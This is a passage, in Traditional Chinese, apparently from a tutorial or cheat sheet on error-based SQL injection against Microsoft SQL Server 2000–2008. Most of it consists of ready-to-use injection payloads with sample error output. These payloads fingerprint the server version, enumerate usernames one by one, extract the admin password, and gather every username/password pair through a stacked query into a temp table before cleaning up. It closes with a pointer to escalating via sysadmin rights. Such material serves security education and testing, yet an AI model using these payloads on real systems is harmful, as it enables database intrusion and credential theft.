原理:嘗試將 `VARCHAR/NVARCHAR` 轉換為 `INT`,失敗時錯誤訊息**包含原始字串內容**。SQL Server 2000/2005/2008 預設在錯誤頁回顯 (ASP.NET `customErrors=Off` / 經典 ASP 預設開啟)。
' UNION SELECT SUM(UserName) FROM Users--
-- 錯誤: The sum or average aggregate operation cannot take a varchar data type as an argument.
-- → UserName 是 VARCHAR
' UNION SELECT @@VERSION, 1, 1, 1--
-- 錯誤: Syntax error converting the nvarchar value
-- 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 ...' to a column of data type int.
-- 取第一筆
' UNION SELECT MIN(UserName), 1, 1, 1 FROM Users WHERE UserName > 'a'--
-- 錯誤顯示: 'admin'
-- 取下一筆
' UNION SELECT MIN(UserName), 1, 1, 1 FROM Users WHERE UserName > 'admin'--
-- 錯誤顯示: 'chris'
' UNION SELECT Password, 1, 1, 1 FROM Users WHERE UserName = 'admin'--
-- 錯誤顯示: 'r00tr0x!'
-- 構造長字串: ': admin/r00tr0x! guest/guest chris/pass fred/sesame'
'; BEGIN
DECLARE @ret VARCHAR(8000);
SET @ret = ':';
SELECT @ret = @ret + ' ' + UserName + '/' + Password FROM Users WHERE UserName > @ret;
SELECT @ret AS ret INTO #tmp;
END--
-- 讀取
' UNION SELECT ret, 1, 1, 1 FROM #tmp--
-- 清理
'; DROP TABLE #tmp--
**關鍵點**:變數 `@ret` 初始值 `':'` 確保 `WHERE UserName > @ret` 首次匹配最小值;後續迴圈中 `@ret` 不斷增長,避免重複。
一旦擁有 SQL 執行權限 (特別是 `sysadmin` / `db_owner`),可進一步:
SELECT * FROM master..sysmessages; -- 所有系統錯誤訊息 (含轉換錯誤 245, 8114 等)
研究此表可發現更多資訊洩露向量 (如幾何/空間資料型別轉換錯誤、XML 剖析錯誤等)。